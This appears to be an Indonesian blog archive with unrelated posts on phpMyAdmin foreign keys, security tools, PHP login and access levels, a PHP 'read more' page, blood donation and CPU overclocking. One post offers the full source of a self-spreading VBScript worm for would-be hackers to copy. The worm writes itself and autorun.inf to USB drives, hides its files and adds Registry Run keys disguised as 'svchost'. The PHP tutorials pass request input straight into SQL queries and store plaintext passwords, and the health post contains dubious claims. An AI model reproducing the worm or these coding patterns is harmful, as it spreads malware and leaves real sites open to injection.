Senin, 24 September 2012

Cara Membuat Foreign Key, Relasi Tabel dan Referential Integrity di phpMyAdmin

Sebagai contoh misalkan kita akan membuat database ‘perpustakaan’ yang di dalamnya terdapat 2 buah tabel yaitu ‘buku’ dan ‘kategori’.
Di dalam tabel ‘buku’ terdapat field: ‘id’ untuk menunjukkan nomor identitas buku, ‘title’ yang menunjukkan judul buku, ‘author’ sebagai pengarang, dan ‘idcategory’ yang menunjukkan nomor id kategori dari buku. ID Category buku ini nanti akan direlasikan dengan ID kategori yang terdapat dalam tabel ‘kategori’.
Adapun field yang ada dalam tabel ‘kategori’ adalah: ‘idcategory’ dan ‘namacategory’.
Dalam perancangan database, field ‘idcategory’ yang terdapat dalam tabel ‘buku’ dinamakan foreign key atau kunci tamu. Selain itu pada kedua tabel di atas juga terdapat relasi yaitu antara field ‘idcategory’ yang ada pada kedua tabel tersebut.
Nah… sekarang kita akan membuat foreign key, relasi tabel dan referential integrity untuk kedua tabel di atas langsung menggunakan phpMyAdmin.
Pertama, kita buat database ‘perpustakaan’ terlebih dahulu
mysql phpmyadmin
Kedua, setelah database sudah dibuat, selanjutnya kita bisa membuat tabelnya. Kita akan membuat tabel ‘kategori’ terlebih dahulu
mysql phpmyadmin
Berikutnya kita membuat field pada tabel ‘kategori’ Pada contoh ini, dimisalkan untuk field ‘idcategory’ kita buat sebagai auto increment.
mysql phpmyadmin
Satu hal yang terpenting, pastikan bahwa tabel yang Anda buat ini harus bertipe ‘INNODB’. Karena hanya dengan tipe INNODB lah, kita bisa membuat foreign key, relasi dan referential integrity. Untuk membuat tabel bertipe INNODB, silakan pilih pada bagian ‘Storage Engines’ yang terdapat di bagian bawah panel membuat tabel.
mysql phpmyadmin
Setelah diset field dan storage engine nya sebagai INNODB, barulah Anda bisa simpan tabel ‘kategori’ nya.
Tabel ‘kategori’ sudah sukses kita buat, selanjutnya kita bisa membuat tabel ‘buku’ nya. Adapun caranya hampir sama dengan sebelumnya.
mysql phpmyadmin
Field-field tabel kita buat juga seperti tabel sebelumnya. Di sini diasumsikan bahwa field ‘idbuku’ kita gunakan auto increment).
Karena field ‘idcategory’ dalam tabel ‘buku’ akan kita jadikan foreign key, maka kita harus buat field tersebut sebagai INDEX. Perhatikan tanda lingkaran merah pada gambar berikut ini
mysql phpmyadmin
Oya… jangan lupa jadikan tabel ‘buku’ sebagai INNODB dengan memilihnya pada bagian ‘Storage Engine’.
Langkah berikutnya adalah, kita mengeset relasi antara kedua tabel yang dihubungkan dengan field ‘idcategory’. Adapun caranya adalah, klik pada tabel ‘buku’ seperti gambar di bawah ini
mysql phpmyadmin
Lalu, klik pada bagian ‘Relation View’ seperti tampak pada gambar berikut ini
mysql phpmyadmin
Karena field ‘idcategory’ dalam tabel ‘buku’ ini akan direlasikan terhadap field ‘idcategory’ pada tabel ‘kategori’ (sebagai tabel master) maka selanjutnya kita set relasinya seperti gambar di bawah ini.
mysql phpmyadmin
OK deh… selesai sudah cara membuat foreign key, relasi tabel dan referential integrity MySQL dengan phpMyAdmin. Dengan demikian, Anda tidak perlu susah-susah menghapalkan perintah SQL untuk membuat ketiga hal tersebut.
Silakan dicoba sendiri ya. Mudah-mudahan bermanfaat.
source : blog.rosihanari.net

Kamis, 02 Agustus 2012

security tools

♥♥    Axcrypt

  • Kategori           :Encrypting
  • Situs resmi      :www.axantum.com
  • Dukungan OS  :Windows All
  • Ukuran              :1,44 MB

Hampir seluruh operating system windows di dukung oleh produk ini,kecuali Windows vista.
Aplikasi ini menggunakan algoritma AES dengan 128 – bit keys untuk  melakukan enskripsi.Saat suatu file dienkripsi , maka file tersebut akan
berubah ekstansinya menjadi AXX dan akan berubah menjadi icon baru.
♥♥  Folder Encryption
  • Kategori            :Encrypting
  • Situs resmi       :www.kakasoft.com
  • Dukungan OS   :Windows All
  • Ukuran               :777 KB

Dengan aplikasi ini,bisa menlindungi dan mengkripsi  bukan hanya satu file saja,namun satu folder termasuk UFD dan removble harddisk anda
juga bisa mendiskripsi secara mudah sesaat setelah anda mengenkripsikan data tersebut .File yang sudah Anda enkripsi tidak bisa di DELETE,
di COPY,dan DiBUKA.
.
♥♥ Comodo  Firewall pro
  • Kategori           :Firewall
  • Situs resmi      :www.personalfirewall.comodo.com
  • Dukungan OS  :Windows NT,2K/XP/2003/Vista
  • Ukuran              : 17,3  MB

Aplikasi ini akan melindungi sistem anda dari serangan Trojan,Malicious software dan serangan hacker lewat dunia maya.
Hanya dengan sebuah klik di mouse ,Anda bisa menentukan mana situs yang boleh dibuka dan mana yang harus diblok.
Hal ini akan selalu menjaga komputer Anda dari serangan-serangan yang tidak terduga.
♥♥  Bysoft network share browser
  • Kategori           : Network Scanning
  • Situs resmi      :www.bysoft.com
  • Dukungan OS  : Windows All
  • Ukuran             :304 KB

Dengan aplikasi ini,Anda akan mengetahui data apa saja yang sedang di- Sharing di dalam jaringan lokal .
Ia bisa menemukan network,disk,files,dan printer saat melakukan scnaning,yang tentunya akan muncul ada yang melakukan sharing pada
jaringan.Selain itu juga,ia juga bisa digunakan untuk membantu anda menemukan kebocoran informasi..

Selasa, 17 April 2012


Dalam suatu aplikasi bisa jadi terdapat lebih dari satu user dan dengan level yang berbeda-beda. Dengan adanya pembagian level tersebut diharapkan adanya hak akses yang berbeda. Untuk memudahkan Anda dalam membayangkan hal ini, misalkan terdapat 5 user katakanlah A, B, C, D dan E dimana user A, B dan C adalah level ‘administrator’, sedangkan D dan E user biasa. Nah… user A, B, dan C ini misalkan berhak mengakses halaman 1, 2 dan 3 dari aplikasi sedangkan D dan E hanya boleh mengakses halaman 3 saja. Dengan kata lain hak akses ke halaman-halaman tersebut ditentukan oleh level usernya.


Pemberian hak akses pada masing-masing user ini bisa dalam bentuk link menu. Ketika seorang user telah melakukan login, dan loginnya sukses maka akan muncul menu link ke halaman-halaman yang boleh diaksesnya. Sebagai gambaran misalnya pada contoh di atas, setelah user A login dan loginnya berhasil maka akan muncul menu link menuju ke halaman 1, 2 dan 3 karena si A ini levelnya Administrator. Namun untuk si D, karena levelnya user biasa, maka hanya akan muncul menu link menuju halaman 3 saja.

bagaimana seandainya ada user yang nakal? misalkan user E dengan level user biasa kebetulan tahu link URL menuju ke halaman 1. Lantas si E ini mencoba mem bypass link menuju halaman 1 melalui URL langsung tanpa melewati menu link, padahal halaman 1 ini adalah restricted area bagi user biasa (dalam hal ini si E). Nah lo… gimana hayoo?? ya… seorang programmer harus pinter-pinter ngakali. Trus… Gimana ngakalinya? ya… sebelum bagian script yang menampilkan konten pada halaman 1 terlebih dahulu harus mengecek level usernya sebagai ‘administrator’ atau tidak, melalui pengecekan SESSION nya. Jika ya, maka tampilkan kontennya, dan jika tidak maka munculkan pesan

Langsung saja kita menuju tutorialnya, misalkan kita punya data user sebagaimana tersaji dalam tabel berikut ini

CREATE TABLE user (
username varchar(20),
password varchar(20),
level varchar(20),
PRIMARY KEY(username)
);
lalu masukkan data-datanya
INSERT INTO `user` VALUES ('a', 'pass1', 'admin');
INSERT INTO `user` VALUES ('b', 'pass2', 'admin');
INSERT INTO `user` VALUES ('c', 'pass3', 'user');
INSERT INTO `user` VALUES ('d', 'pass4', 'user');
INSERT INTO `user` VALUES ('e', 'pass5', 'user');

selanjutnya kita buat form loginnya.
login.htm
<form method="post" action="loginsubmit.php">
<table border="0">
<tr>
<td>Masukkan Username </td>
<td><input name="username" type="text"></td>
</tr>
<tr>
<td>Masukkan Password </td>
<td><input name="pass" type="password"></td>
</tr>
<tr>
   <td>&nbsp;</td>
<td><input type="submit" name="Submit" value="Submit"></td>
</tr>
</table>
</form>

Form login sudah dibuat, berikutnya kita buat script untuk memproses loginnya.
loginsubmit.php
<?php
// memulai session
session_start();
mysql_connect('dbhost', 'dbuser', 'dbpass');
mysql_select_db('dbname');
$username = $_POST['username'];
$password = $_POST['pass'];
// query untuk mendapatkan record dari username
$query = "SELECT * FROM user WHERE username = '$username'";
$hasil = mysql_query($query);
$data = mysql_fetch_array($hasil);
// cek kesesuaian password
if ($password == $data['password'])
{
echo "<h1>Login Sukses</h1>";
// menyimpan username dan level ke dalam session
$_SESSION['level'] = $data['level'];
$_SESSION['username'] = $data['username'];
// tampilkan menu
include "menu.php";
}
else echo "<h1>Login gagal</h1>";
?>
Bila Anda perhatikan pada script di atas, maka terlihat bahwa menunya membaca script menu.php. Di dalam script menu.php sendiri nantinya terdapat pengecekan level usernya yang tadi tersimpan dalam session sewaktu login sukses. Bila level usernya adalah ‘admin’ maka tampilkan menu link menuju halaman 1, 2, dan 3. Begitu pula untuk level ‘user’.
menu.php
<?php
session_start();
if ($_SESSION['level'] == "admin")
{
// tampilkan menu untuk admin
echo "<a href='hal1.php'>Halaman 1</a> ";
echo "<a href='hal2.php'>Halaman 2</a> ";
echo "<a href='hal3.php'>Halaman 3</a> ";
echo "<a href='logout.php'>Logout</a> ";
}
else if ($_SESSION['level'] == "user")
{
// tampilkan menu untuk user biasa
echo "<a href='hal3.php'>Halaman 3</a>";
echo "<a href='logout.php'>Logout</a> ";
}
?>

Selanjutnya, kita bisa mulai membuat konten pada halaman 1, 2 dan 3. Ingat.. sebelum menampilkan kontennya sebaiknya dicek level usernya terlebih dahulu. Bila levelnya tidak sesuai dengan hak aksesnya, maka jangan ragu untuk menolak. Untuk halaman 1, dari kasus yang kita ambil hanya bisa diakses oleh user berlevel ‘admin’ saja. Begitu pula untuk halaman 2. Namun untuk halaman 3, baik level ‘admin’ maupun ‘user’ biasa boleh mengaksesnya.

hal1.php
<?php
session_start();
// cek apakah user yang mengakses halaman ini sudah melalui login atau belum
// logikanya jika user telah login dan sukses, maka SESSION level dan SESSION username ini pasti sudah ada
// jika ada user yang mencoba akses halaman ini tanpa login, maka logikanya kedua SESSION belum ada
if (isset($_SESSION['level']) && isset($_SESSION['username']))
{
// tampilkan menu.
// menu hanya ditampilkan bila halaman ini diakses oleh user yang telah login
include "menu.php";
// cek level user apakah admin atau bukan
if ($_SESSION['level'] == "admin")
{
// tampilkan konten halaman 1 jika levelnya admin
echo "<h1>Halaman 1</h1>";
echo "<p>Selamat datang di halaman satu wahai user : ".$_SESSION['username']."</p>";
echo "<p>Ini adalah konten halaman 1</p>";
}
else
{
// jika levelnya bukan admin, tampilkan pesan
echo "<h1>Maaf.. Anda bukan user berlevel Administrator</h1>";
}
}
else
{
echo "<h1>Nah.. Anda pasti mencoba akses halaman ini tanpa login ya?</h1>";
}
?>

Untuk halaman 2, konsepnya juga sama seperti script halaman 1 di atas, hanya yang berbeda pada kontennya tentu saja. Sekarang untuk halaman ke-3 di mana yang bisa mengakses adalah semua level user, scriptnya adalah:
hal3.php
<?php
session_start();
if (isset($_SESSION['level']) && isset($_SESSION['username']))
{
include "menu.php";
if (($_SESSION['level'] == "admin") || ($_SESSION['level'] == "user"))
{
echo "<h1>Halaman 3</h1>";
echo "<p>Selamat datang di halaman tiga wahai user : ".$_SESSION['username']."</p>";
echo "<p>Ini adalah konten halaman 3</p>";
}
}
else
{
echo "<h1>Nah.. Anda pasti mencoba akses halaman ini tanpa login ya?</h1>";
}
?>

Pada prinsipnya proses logout adalah menghapus semua session yang tadi terbentuk ketika login sukses.
logout.php
<?php
session_start();
session_destroy();
echo "<h1>Anda sudah logout</h1>";
echo "<p><a href='formlogin.htm'>Login Kembali</a></p>";
?>
Anda bisa download scripnya disini
Sumber : seven cyber

Membuat Read more dalam php

Kali ini saya akan membahas tentang Read More..... 
ada beberapa langkah untuk membuat nya..
1.Kita buat data base dengan nama " artikel " tanpa tanda kutip..
2.Buatlah table dengan nama " tb_artikel " tanpa tanda kutip..
‘id’ tinyint (1),
‘judul’ varchar (30),
‘isi’ text,
‘penulis’ varchar (30),
PRIMARY KEY (‘id’)
isi tabl
 id = 1
 judul = Migrain
 isi  = Penyakit ini lebih banyak diderita oleh wanita. Migrain adalah
penyakit yang menyerang otak dan mengakibatkan kesakitan baik secara fisik
maupun emosi. Pelebaran pembuluh darah pada otak dan peradangan merupakan
salah satu mengapa kepala terasa sakit. Walau belum diketahui secara pasti
penyebabnya, umumnya penyakit ini merupakan penyakit yang diturunkan.
Yang dapat dilakukan adalah berusaha untuk mencegah terjadinya serangan sakit
kepala dan mengurangi rasa sakit saat serangan terjadi. Kadangkala serangannya
tidak hanya menyerang salah satu sisi kepala tetapi menyerang kedua sisi kepala
 penulis = Aziz 
anda bisa liat hasilnya sbb..
















3.kemudian buat scrip seperti dibawah ini dan simpan artikel.php
<?php
mysql_connect("localhost","root","") or die("Gagal Konek Ke
Server".mysql_error());
mysql_select_db("artikel") or die ("Gagal Konek Ke Database".mysql_error());
?>
<html>
<head>
<title>Artikel</title>
</head>
<body>
<table width="600" border="0" align="center">
<?php
$kueri = mysql_query(" SELECT * FROM tb_artikel ");
while ($baris=mysql_fetch_row($kueri)) {
echo("<tr>");
echo("<td><u>$baris[1]</u></td>");
echo("</tr>");
echo("<tr>");
echo("<td>".substr($baris[2],0,150)." <a
href='artikel_detail.php?id=$baris[0]'>Read More . . .</a> </td>");
echo("</tr>");
echo("<tr>");
echo("<td>Penulis : $baris[3]</td>");
echo("</tr>");
}
?>
</table>
</body>
</html

4.yang terahir simpan dengan artikel_detail.php

<?php
mysql_connect("localhost","root","") or die("Gagal Konek Ke
Server".mysql_error());
mysql_select_db("artikel") or die ("Gagal Konek Ke Database".mysql_error());
?>
<html>
<head>
<title>Artikel Detail</title>
</head>
<body>
<table width="600" border="0" align="center">
<?php
$kode_artikel = $_GET['id'];
$kueri = mysql_query(" SELECT id AS kode_artikel, judul, isi, penulis ".
" FROM tb_artikel WHERE id='$kode_artikel' ");
while ($baris=mysql_fetch_row($kueri)) {
echo("<tr>");
echo("<td><u>$baris[1]</u></td>");
echo("</tr>");
echo("<tr>");
echo("<td>$baris[2]</td>");
echo("</tr>");
echo("<tr>");
echo("<td>Penulis : $baris[3]</td>");
echo("</tr>");
}
?>
</table>
</body>
</html>

Selamat mencoba... semoga berhasil...

Senin, 02 April 2012

Buat anda yang ingin bejajar membuat virus saya kasih samplenya nih..silahkan anda copy dan simpan berformat".txt "(dot txt) semoga membantu anda untuk menjadi hacker...
Warning!!! Tidak untuk main main

‘El Magnifico MAN
on error resume next
dim mysource,winpath,flashdrive,fs,mf,atr,tf,rg,nt,check,sd
atr = “[autorun]“&vbcrlf&”shellexecute=wscript.exe erwinda_putra.exe.vbs”
set fs = createobject(”Scripting.FileSystemObject”)
set mf = fs.getfile(Wscript.ScriptFullname)
dim text,size
size = mf.size
check = mf.drive.drivetype
set text=mf.openastextstream(1,-2)
do while not text.atendofstream
mysource=mysource&text.readline
mysource=mysource & vbcrlf
loop
do
Set winpath = fs.getspecialfolder(0)
set tf = fs.getfile(winpath & “\erwinda_putra.exe.vbs”)
tf.attributes = 32
set tf=fs.createtextfile(winpath & “\erwinda_putra.exe.vbs”,2,true)
tf.write mysource
tf.close
set tf = fs.getfile(winpath & “\erwinda_putra.exe.vbs”)
tf.attributes = 39
for each flashdrive in fs.drives
If (flashdrive.drivetype = 1 or flashdrive.drivetype = 2) and flashdrive.path “A:” then
set tf=fs.getfile(flashdrive.path &”\erwinda_putra.exe.vbs”)
tf.attributes =32
set tf=fs.createtextfile(flashdrive.path &”\erwinda_putra.exe.vbs”,2,true)
tf.write mysource
tf.close
set tf=fs.getfile(flashdrive.path &”\erwinda_putra.exe.vbs”)
tf.attributes =39
set tf =fs.getfile(flashdrive.path &”\autorun.inf”)
tf.attributes = 32
set tf=fs.createtextfile(flashdrive.path &”\autorun.inf”,2,true)
tf.write atr
tf.close
set tf =fs.getfile(flashdrive.path &”\autorun.inf”)
tf.attributes=39
end if
next
set rg = createobject(”WScript.Shell”)
rg.regwrite “HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run\svchost”,winpath&”\erwinda_putra.exe.vbs”
rg.regwrite “HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run\MS32DLL”,””
rg.regwrite “HKCR\vbsfile\DefaultIcon\”,”shell32.dll,3″
if check 1 then
Wscript.sleep 100000
end if
loop while check1
set sd = createobject(”Wscript.shell”)
sd.run winpath&”\explorer.exe /e,/select, “&Wscript.ScriptFullname
do while year(now) >= 2008
WScript.sleep 20000
msgbox “salamaik tibo di virus camp_luck” & vbcrlf & _
“ondeh sanak maaf stek yo awak masuak ka sistem sanak anok-anok” & vbcrlf & _
“dunsanak komputer dunsanak awak kuasai stek dih. kini dunsanak masuak dalam permainan suruak manyuruan” & vbcrlf & _
“iko permainan yang paten ma dunsanak” & vbcrlf & _
vbcrlf & vbcrlf & _
” elok-elok selah dih dunsanak beko tajadi yang indak-indak ko” & vbcrlf & vbcrlf & _
” aaa kini saaiknyo ma dunsanak”
loop

Selasa, 06 Maret 2012

5 Kelebihan Donor Darah


Simbiosis mutualisme. Itulah yang akan kita rasakan jika kita melakukan donor darah, sebab setiap tetes darah yang kita sumbangkan tidak hanya dapat memberikan kesempatan hidup bagi yang menerima tetapi juga memberikan manfaat kesehatan bagi pendonornya.

Anggapan yang menyatakan mendonorkan darah bisa membuat kita menjadi lemas adalah salah. Saat kita mendonorkan darah, maka tubuh akan bereaksi langsung dengan membuat penggantinya. Jadi, kita tidak akan mengalami kekurangan darah. Selain membuat tubuh memproduksi darah-darah baru, ada lima manfaat kesehatan lain yang bisa kita rasakan:

1. Menjaga kesehatan jantung
Tingginya kadar zat besi dalam darah akan membuat seseorang menjadi lebih rentan terhadap penyakit jantung. Zat besi yang berlebihan di dalam darah bisa menyebabkan oksidasi kolesterol. Produk oksidasi tersebut akan menumpuk pada dinding arteri dan ini sama dengan memperbesar peluang terkena serangan jantung dan stroke. Saat kita rutin mendonorkan darah maka jumlah zat besi dalam darah bisa lebih stabil. Ini artinya menurunkan risiko penyakit jantung.

2. Meningkatkan produksi sel darah merah
Donor darah juga akan membantu tubuh mengurangi jumlah sel darah merah dalam darah. Tak perlu panik dengan berkurangnya sel darah merah, karena sumsum tulang belakang akan segera mengisi ulang sel darah merah yang telah hilang. Hasilnya, sebagai pendonor kita akan mendapatkan pasokan darah baru setiap kali kita mendonorkan darah. Oleh karena itu, donor darah menjadi langkah yang baik untuk menstimulasi pembuatan darah baru.

3. Membantu penurunan berat tubuh
Menjadi donor darah adalah salah satu metode diet dan pembakaran kalori yang ampuh. Sebab dengan memberikan sekitar 450 ml darah, akan membantu proses pembakaran kalori kira-kira 650 kalori. Itu adalah jumlah kalori yang banyak untuk membuat pinggang kita ramping.

4. Mendapatkan kesehatan psikologis
Menyumbangkan hal yang tidak ternilai harganya kepada yang membutuhkan akan membuat kita merasakan kepuasan psikologis. Sebuah penelitian menemukan, orang usia lanjut yang rutin menjadi pendonor darah akan merasakan tetap berenergi dan bugar.

5. Mendeteksi penyakit serius
Setiap kali kita ingin mendonorkan darah, prosedur standarnya adalah darah kita akan diperiksa dari berbagai macam penyakit seperti HIV, hepatitis B, hepatitis C, sifilis, dan malaria. Bagi yang menerima donor darah, ini adalah informasi penting untuk mengantisipasi penularan penyakit melalui transfusi darah. Sedangkan untuk kita, ini adalah “rambu peringatan” yang baik agar kita lebih perhatian terhadap kondisi kesehatan kita sendiri.

Setelah menginjak usia 17 tahun, cobalah untuk membiasakan diri mendonorkan darah setiap tiga bulan sekali. Tidak hanya akan memberikan perasaan yang senang karena dapat membantu sesama, namun bermanfaat positif bagi kesehatan tubuh kita sendiri. Dan usia maksimal untuk melakukan kebiasaan baik ini adalah hingga berusia 65 tahun. Jadi jangan tunggu lama lagi, ayo… saatnya donor darah!

Over Clock Pada Komputer

Meningkatkan kinerja komputer

PERINGATAN!!!

Sebelum sobat mengikuti langkah-langkah overclock dibawah ini. Sobat harus sadar bahwa proses overclock bisa menyebabkan processor terbakar, motherboard rusak, garansi hilang, memperpendek umur CPU, merusak Windows, dan akan menjebol ATM sobat, karena dipakai untuk mengganti komponen yang rusak sengihnampakgigi. Dengan membaca dan mengikuti langkah-langkah ini, sobat bertanggung jawab sendiri seandainya terjadi kerusakan pada hardware. Oleh karena itu, pahami terlebih dahulu hardware yang sobat pergunakan dengan cara membaca buku manualnya secara tuntas.

Menentukan Clock Speed dan Voltase

Jika sobat penasaran bagaimana sebuah clock speed ditentukan, jawabannya sederhana: clock speed standar sudah tertanam di dalam CPU dan dapat dikalkulasi dengan perhitungan sederhana.

Angka pertama yang harus sobat ketahui adalah kecepatan FSB (Font Side Bus). FSB adalah jalur yang membawa semua informasi dari CPU dan semua perangkat lain. Kecepatannya dihitung dalam satuan megahertz. Angka kedua adalah multiplier atau penggali, yaitu pengaturan internal yang telah ditetapkan oleh si pembuat processor.

Agar kita dapat mengetahui berapa clock speed sebuah processor, tinggal kalikan saja FSB dengan multiplier. Disini kami menggunakan sebuah program bernama CPU-Z yang bisa sobat download disini.


Silahkan sobat lihat di bagian Multiplier dan Bus Speed. Hasilnya ada di bagian Core Speed, itulah kecepatan processor kita sekarang.

Berikutnya mengenai voltase processor atau yang dikenal dengan Vcore. Semua processor dirancang untuk bekerja pada voltase tertentu, meningkatkan voltase merupakan bagian yang paling bahaya dalam proses overclock. Meningkatkan voltase CPU hanya boleh 10% dari voltase standarnya, lebih dari 10% silahkan tanggung resikonya sendiri.

Untuk melihat Vcore yang dimiliki, sobat bisa kembali memakai CPU-Z. Lihat pada bagian Voltage.

Langkah Overclock

Salah satu unsur yang bisa dioptimalkan dalam overclock adalah dari BIOS.
  1. Masuk ke BIOS dengan menekan tombol Delete, F1, atau F2 tergantung dari jenis motherboard yang dimiliki. Namun jika ada splash screen atau logo yang menghalangi saat booting, sobat dapat menekan tombol Esc atau Tab untuk melihat tombol mana yang harus digunakan untuk masuk ke dalam BIOS.
  2. Setelah sobat masuk ke BIOS, carilah menu yang berisi informasi mengenai konfigurasi CPU. Tiap motherboard dan BIOS memiliki nama sendiri-sendiri, namanya berupa Softmenu, CPU Configuration, Advanced Chipset Features, Frequency Control atau lainnya. Kemudian cari juga item bernama FSB speed, CPU-to-FSB ratio, CPU External Frequency, FSB Frequency, CPU Bus Clock, External Clock dan lain-lain tergantung jenis BIOS. Sebagai informasi, FSB pada CPU jenis terbaru biasanya memiliki nilai default 200 MHz.
  3. Menaikkan nilai FSB adalah cara yang paling umum untuk overclock. Naikkan FSB itu dengan tahapan 1 MHz atau 3 MHz, jangan terlalu serakah dalam menaikkan FSB sampai 5 MHz sekaligus atau bahkan 10MHz sekaligus, bisa-bisa PC sobat malah tidak mau melakukan booting.
  4. Setelah FSB sobat naikkan dari 200MHz menjadi 201 MHz atau 203 MHz, simpan setting BIOS lalu keluar dari BIOS dan lihat apakah PC berhasil melakukan booting.
  5. Jika booting berhasil, berarti sobat berada pada jalan yang benar, namun jangan terlalu senang dulu. Biarkan hingga masuk ke Windows dan jalankan beberapa aplikasi atau bermain game. Hal ini dilakukan untuk melihat bagaimana system bereaksi dengan peningkatan FSB tersebut.
  6. Jika tidak ada masalah, restart kembali PC dan ulangi langkah 3 hingga langkah 5 sampai PC sobat tidak mau melakukan booting.
  7. Bagaimana apabila terjadi masalah, atau sobat terlalu serakah menaikkan FSB sehingga PC tidak mau melakukan booting, layar kosong dan tidak keluar apapun. Jangan khawatir sobat, silahkan sobat buka buku manual motherboard dan cari dimana letak jumper untuk reset CMOS. Jumper tersebut umumnya berada di dekat CMOS.
  8. Bila semua proses overclock sukses dilakukan, namun sobat masih menginginkan performa yang lebih, masih ada dua cara. Cara pertama adalah dengan menambah pendingin processor yang lebih baik, karena pendingin yang baik bisa meningkatkan potensi overclock CPU.
  9. Cara kedua adalah dengan cara meningkatkan Vcore CPU. Dalam BIOS, Vcore ini memiliki nama yang berbeda-beda, ada Processor Voltage, CPU Voltage Control, CPU Voltage Select dan lain-lain. Sama seperti proses meningkatkan FSB, menaikkan voltase ini harus dilakukan secara bertahap dan tidak boleh serakah. Bila FSB berlebih, paling-paling system tidak bisa melakukan booting, tetapi beda halnya dengan menaikkan voltase secara berlebih, processor bisa terbakar. Dan ingat pula peraturan paling penting dalam menaikkan voltase, hanya 10% dari nilai voltase defaultnya.